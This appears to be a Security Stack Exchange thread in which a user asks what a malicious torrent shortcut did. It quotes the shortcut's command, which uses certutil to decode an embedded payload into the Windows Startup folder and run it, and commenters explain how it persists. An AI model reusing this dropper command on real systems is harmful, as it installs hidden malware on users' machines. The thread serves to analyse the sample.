I downloaded a torrent which turned out to be a shortcut that did the following thing.

%ComSpec% /c certutil -decode "Succession.S02E07.720p.WEB.x265-MiNX.mkv.lnk" 
  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%USERNAME%.exe" >nul 2>&1 && 
  "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\%USERNAME%.exe"

Does anyone have any idea what this file did? I accidentally ran it.

The file was 222MB large. I checked my startup folder but there seems to be nothing there, maybe because I pressed cancel when the cmd window popped up. But the file went from 222MB to 1.85 kb after I ran it.

The link to the file is a torrent here https://thepiratebay.org/torrent/34688106/Succession.S02E07.720p.WEB.x265-MiNX

Downloading it won't do anything but running it will. I also ran avast scan and windows defender scan on the file but it found nothing.

I re-downloaded the file and renamed the .lnk to .txt, it looks like a security certificate.

  • Unfortunately, we are not a malware removal or a malware code review site.
    – schroeder
    Sep 23 '19 at 6:36

certutil is a built-in program in Windows used to manage certificates. The above command would be decoding the certificate present in the file and install malware. An article illustrating how this could be used.

  • do you know how i can find it and remove it? could it be ransomware?
    – anarchy
    Sep 23 '19 at 5:51
  • COMSPEC points to cmd. It then decodes the file using certutil and create a.exe file in %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup with your username as the .exe filename and executes it.
    – Rohith K D
    Sep 23 '19 at 6:14
  • So if the file is not in the startup folder I should be fine?
    – anarchy
    Sep 23 '19 at 6:14
  • Does it execute at the time of creation? Or during startup?
    – anarchy
    Sep 23 '19 at 6:16
  • Once the file is decoded successfully, the .exe would be executed. As long as the .exe is present in startup folder it will be executed on every startup.
    – Rohith K D
    Sep 23 '19 at 6:34

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